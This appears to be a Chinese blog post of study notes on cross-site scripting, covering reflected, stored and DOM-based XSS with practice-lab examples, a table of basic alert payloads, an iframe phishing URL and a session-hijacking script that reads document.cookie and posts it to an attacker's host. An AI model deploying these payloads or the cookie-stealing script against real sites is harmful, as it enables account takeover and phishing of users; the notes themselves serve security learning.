针对 XSS 攻击的学习与笔记。推荐一个免费的练习靶场:谜团
0x00 XSS 的相关概念
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
- XSS 的危害
- 流量劫持;
- 获取用户cookie信息,盗取账号;
- 篡改、删除页面信息(钓鱼);
- 配合CSRF攻击,实施进一步的攻击 ;
- XSS 攻击的基本思路:
- 判断位置;
- 闭合符号或标签;
- 放入基本 payload;
0x00.1 XSS 的分类
- 通常将跨站脚本攻击分为三种类型:反射性XSS,存储型XSS,DOM型XSS。
反射型 XSS:
- 被称为非持久性XSS,当用户访问一个带有XSS代码的HTML请求时,服务器端接收数据后处理,然后把带有XSS的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,就造成XSS漏洞,这个过程就像一次反射,所以叫反射型XSS。
- 例如:一个靶场的反射型 XSS 页面,要求只要触发 alert() 函数就能够获得 flag,我们构造语句:
<script>alert("xss test!")</script>
- 直接通过浏览器对页面的代码进行修改,触发反射型 XSS。
- 在例如:通过文本输入框,实现对网页代码的修改,从而达到触发弹窗的效果
存储型 XSS
- 被称为持久性XSS,存储型XSS是最危险的一种跨站脚本漏洞,当攻击者提交一段 XSS代码后,被服务端接收并存储,当攻击者或用户再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击,这是存储型XSS。
- 顾名思义,实现存储型 XSS 的恶意代码是存放在数据库中的,通过利用前端如:留言、提建议等功能,将恶意代码存储到后端,当再次访问时,会被发回前端通过浏览器解析后造成恶意攻击。
- 例如:一个建议的留言系统,通过对其留言,触发存储型 XSS 并造成弹窗。
- 尝试使用管理员到后台对留言进行管理,当数据库返回这条留言是,同样会触发 XSS 脚本。
DOM型XSS
- DOM全称Document Object Model,DOM型XSS实际上是一种特殊类型的反射XSS,他是一种基于DOM文档对象模型的一种漏洞。
- 攻击原理:攻击者向服务器发送一个带有恶意JS代码的请求,服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。
- 例如:DVWA 实验靶场的 DOM 型 XSS 跨站脚本攻击
- 通过对页面代码的查看,发现脚本被添加进了下拉框标签的<option> 对象,然后被触发执行。
- 通过对页面代码的查看,发现脚本被添加进了下拉框标签的<option> 对象,然后被触发执行。
0x01 XSS 基本payload
注入点 | PAYLOAD |
---|---|
标签内容 | <script>alert</script> |
标签属性 | <body οnlοad=alert(1)> |
- | <input οnclick=alert(1)> |
- | <img src=1 οnerrοr=alert(1)> |
- | <a href=javascript:alert(1)> |
0x02 XSS 常见攻击手段
- 钓鱼
- 攻击者构造攻击脚本,
- 发给目标用户,引诱对方点击钓鱼链接;
- 注入到存在 XSS 漏洞的网站,等待目标用户触发;
- 用户触发攻击脚本,
- 跳转至钓鱼网站。
- XSS构造URL脚本实现钓鱼攻击
http://192.168.1.131/07/dy.php?name=<iframe src="http://www.baidu.com" frameborder="0" width="1500" height="1000" style="background-color: white;position:absolute;left:0px;top:0px"></iframe>
- 攻击者构造攻击脚本,
- 会话劫持
- 攻击者构造攻击脚本,
- 发给目标用户,引诱对方点击钓鱼链接;
- 注入到存在 XSS 漏洞的网站,等待目标用户触发;
- 用户触发攻击脚本,
- 脚本将目标的 cookie 转发至攻击者
- 攻击者可模仿目标用户实现合法会话。
- XSS构造读取cookie脚本实现会话劫持攻击
<script> ... function loadXMLDoc() { xmlhttp.open("POST","http://192.168.163.1/xsstest/savec ookie.php",true); xmlhttp.setRequestHeader("Content-type","application/x- www-form-urlencoded"); xmlhttp.send("T1="+document.cookie); } loadXMLDoc(); alert("You cookies has been saved :"+document.cookie); ... </script>
- 攻击者构造攻击脚本,
有任何问题欢迎评论区留言,上文若是信息有误,评论区随便吐槽,看必回!